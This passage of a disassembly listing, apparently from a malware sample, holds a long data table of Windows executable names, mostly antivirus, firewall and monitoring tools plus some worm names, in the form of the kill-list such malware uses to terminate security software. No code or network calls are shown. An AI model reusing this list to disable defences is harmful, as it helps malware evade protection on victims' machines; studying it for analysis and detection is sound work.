aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: ___:0043877Co
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: ___:00438778o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: ___:00438774o
		align 4
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: ___:00438770o
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: ___:0043876Co
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: ___:00438768o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: ___:00438764o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: ___:00438760o
		align 10h
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: ___:0043875Co
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: ___:00438758o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: ___:00438754o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: ___:00438750o
		align 4
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: ___:0043874Co
		align 4
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: ___:00438748o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: ___:00438744o
		align 4
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: ___:00438740o
		align 10h
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: ___:0043873Co
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: ___:00438738o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: ___:00438734o
		align 4
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: ___:00438730o
		align 10h
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: ___:0043872Co
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: ___:00438728o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: ___:00438724o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: ___:00438720o
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: ___:0043871Co
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: ___:00438718o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: ___:00438714o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: ___:00438710o
		align 10h
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: ___:0043870Co
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: ___:00438708o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: ___:00438704o
		align 4
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: ___:00438700o
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: ___:004386FCo
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: ___:004386F8o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: ___:004386F4o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: ___:004386F0o
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: ___:004386ECo
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: ___:004386E8o
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: ___:004386E4o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: ___:004386E0o
		align 10h
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: ___:004386DCo
		align 10h
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: ___:004386D8o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: ___:004386D4o
		align 4
aMsconfig_exe	db 'MSCONFIG.EXE',0     ; DATA XREF: ___:004386D0o
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: ___:004386CCo
		align 4
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: ___:004386C8o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: ___:004386C4o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: ___:004386C0o
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: ___:004386BCo
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: ___:004386B8o
		align 10h
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: ___:004386B4o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: ___:004386B0o
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: ___:004386ACo
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: ___:004386A8o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: ___:004386A4o
		align 4
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: ___:004386A0o
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: ___:0043869Co
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: ___:00438698o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: ___:00438694o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: ___:00438690o
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: ___:0043868Co
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: ___:00438688o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: ___:00438684o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: ___:00438680o
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: ___:0043867Co
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: ___:00438678o
		align 4
aMd_exe		db 'MD.EXE',0           ; DATA XREF: ___:00438674o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: ___:00438670o
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: ___:0043866Co
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: ___:00438664o
					; ___:00438668o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: ___:00438660o
		align 4
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: ___:0043865Co
		align 4
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: ___:00438658o
		align 4
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: ___:00438654o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: ___:00438650o
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: ___:0043864Co
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: ___:00438648o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: ___:00438644o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: ___:00438640o
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: ___:00438638o
					; ___:0043863Co
		align 10h
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: ___:00438634o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: ___:00438630o
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: ___:0043862Co
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: ___:00438628o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: ___:00438624o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: ___:00438620o
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: ___:0043861Co
		align 4
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: ___:00438618o
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: ___:00438614o
		align 10h
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: ___:00438610o
		align 10h
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: ___:0043860Co
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: ___:00438608o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: ___:00438604o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: ___:00438600o
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: ___:004385FCo
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F8o
		align 10h
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F4o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: ___:004385F0o
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: ___:004385ECo
		align 4
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: ___:004385E8o
		align 10h
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: ___:004385E4o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: ___:004385E0o
		align 10h
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: ___:004385DCo
		align 4
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: ___:004385D8o
		align 10h
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: ___:004385D4o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: ___:004385D0o
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: ___:004385CCo
		align 4
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: ___:004385C8o
		align 10h
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: ___:004385C4o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: ___:004385C0o
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: ___:004385BCo
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: ___:004385B8o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: ___:004385B4o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: ___:004385B0o
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: ___:004385ACo
		align 4
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: ___:004385A8o
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: ___:004385A4o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: ___:004385A0o
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: ___:0043859Co
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: ___:00438598o
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: ___:00438594o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: ___:00438590o
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: ___:0043858Co
		align 10h
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: ___:00438588o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: ___:00438584o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: ___:0043857Co
					; ___:00438580o
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: ___:00438578o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: ___:00438574o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: ___:00438570o
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: ___:0043856Co
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: ___:00438568o
		align 10h
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: ___:00438564o
		align 10h
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: ___:00438560o
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: ___:0043855Co
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: ___:00438558o
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: ___:00438554o
		align 10h
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: ___:00438550o
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: ___:0043854Co
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: ___:00438548o
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: ___:00438544o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: ___:00438540o
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: ___:0043853Co
		align 10h
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: ___:00438538o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: ___:00438534o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: ___:00438530o
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: ___:0043852Co
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: ___:00438528o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: ___:00438524o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: ___:00438520o
		align 10h
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: ___:0043851Co
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: ___:00438518o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: ___:00438514o
		align 4
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: ___:00438510o
		align 10h
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: ___:0043850Co
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: ___:00438508o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: ___:00438504o
		align 4
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: ___:00438500o
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: ___:004384FCo
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: ___:004384F8o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: ___:004384F4o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: ___:004384F0o
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: ___:004384ECo
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: ___:004384E8o
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: ___:004384E4o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: ___:004384E0o
		align 4
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: ___:004384DCo
		align 10h
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: ___:004384D8o
		align 4
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: ___:004384D4o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: ___:004384D0o
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: ___:004384CCo
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: ___:004384C8o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: ___:004384C4o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: ___:004384C0o
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: ___:004384BCo
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: ___:004384B8o
		align 10h
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: ___:004384B4o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: ___:004384B0o
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: ___:004384ACo
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: ___:004384A8o
		align 4
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: ___:004384A4o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: ___:004384A0o
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: ___:0043849Co
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: ___:00438498o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: ___:00438494o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: ___:00438490o
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: ___:0043848Co
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: ___:00438488o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: ___:00438484o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: ___:00438480o
		align 4
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: ___:0043847Co
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: ___:00438478o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: ___:00438474o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: ___:00438470o
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: ___:0043846Co
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: ___:00438468o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: ___:00438464o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: ___:00438460o
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: ___:0043845Co
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: ___:00438458o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: ___:00438454o
		align 4
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: ___:00438450o
		align 4
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: ___:0043844Co
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: ___:00438448o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: ___:00438444o
		align 4
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: ___:00438440o
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: ___:0043843Co
		align 10h
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: ___:00438438o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: ___:00438434o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: ___:00438430o
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: ___:0043842Co
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: ___:00438428o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: ___:00438424o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: ___:0043841Co
		align 4
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: ___:00438418o
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: ___:00438414o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: ___:00438410o
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: ___:0043840Co
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: ___:00438408o
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: ___:00438404o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: ___:00438400o
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: ___:004383FCo
		align 4
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: ___:004383F8o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: ___:004383F4o
		align 10h
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: ___:004383F0o
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: ___:004383ECo
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: ___:004383E8o
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: ___:004383E4o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: ___:004383E0o
		align 10h
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: ___:004383DCo
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: ___:004383D8o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: ___:004383D4o
					; ___:00438420o
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: ___:004383D0o
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: ___:004383CCo
		align 4
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: ___:004383C4o
					; ___:004383C8o
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: ___:004383C0o
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: ___:004383BCo
		align 10h
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: ___:004383B8o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: ___:004383B4o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: ___:004383B0o
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: ___:004383ACo
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: ___:004383A8o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: ___:004383A4o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: ___:004383A0o
		align 10h
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: ___:0043839Co
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: ___:00438398o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: ___:00438394o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: ___:00438390o
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: ___:0043838Co
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: ___:00438388o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: ___:00438384o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: ___:00438380o
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: ___:0043837Co
		align 4
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: ___:00438378o
		align 10h
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: ___:00438374o
		align 4
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: ___:00438370o
		align 10h
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: ___:0043836Co
		align 10h
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: ___:00438368o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: ___:00438364o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: ___:00438360o
		align 4
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: ___:0043835Co
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: ___:00438358o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: ___:00438354o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: ___:0043834Co
					; ___:00438350o
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: ___:00438348o
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: ___:00438344o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: ___:00438340o
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: ___:00438338o
					; ___:0043833Co
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: ___:00438334o
		align 4
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: ___:00438330o
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: ___:0043832Co
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: ___:00438328o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: ___:00438324o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: ___:0043831Co
					; ___:00438320o
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: ___:00438318o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: ___:00438314o
		align 10h
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: ___:00438310o
		align 10h
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: ___:0043830Co
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: ___:00438308o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: ___:00438304o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: ___:00438300o
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: ___:004382FCo
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: ___:004382F8o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: ___:004382F4o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: ___:004382F0o
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: ___:004382ECo
		align 4
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: ___:004382E8o
		align 10h
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: ___:004382E4o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: ___:004382E0o
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: ___:004382DCo
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: ___:004382D8o
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: ___:004382D4o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: ___:004382D0o
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: ___:004382CCo
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: ___:004382C8o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: ___:004382C0o
					; ___:004382C4o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: ___:004382B8o
					; ___:004382BCo
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: ___:004382B0o
					; ___:004382B4o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: ___:004382A8o
					; ___:004382ACo
aAu_exe		db 'AU.EXE',0           ; DATA XREF: ___:004382A4o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: ___:004382A0o
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: ___:00438298o
					; ___:0043829Co
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: ___:00438294o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: ___:00438290o
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: ___:0043828Co
		align 10h
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: ___:00438288o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: ___:00438284o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: ___:00438280o
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: ___:0043827Co
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: ___:00438278o
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: ___:00438274o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: ___:00438270o
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: ___:0043826Co
		align 10h
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: ___:00438268o
		align 10h
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: ___:00438264o
		align 4
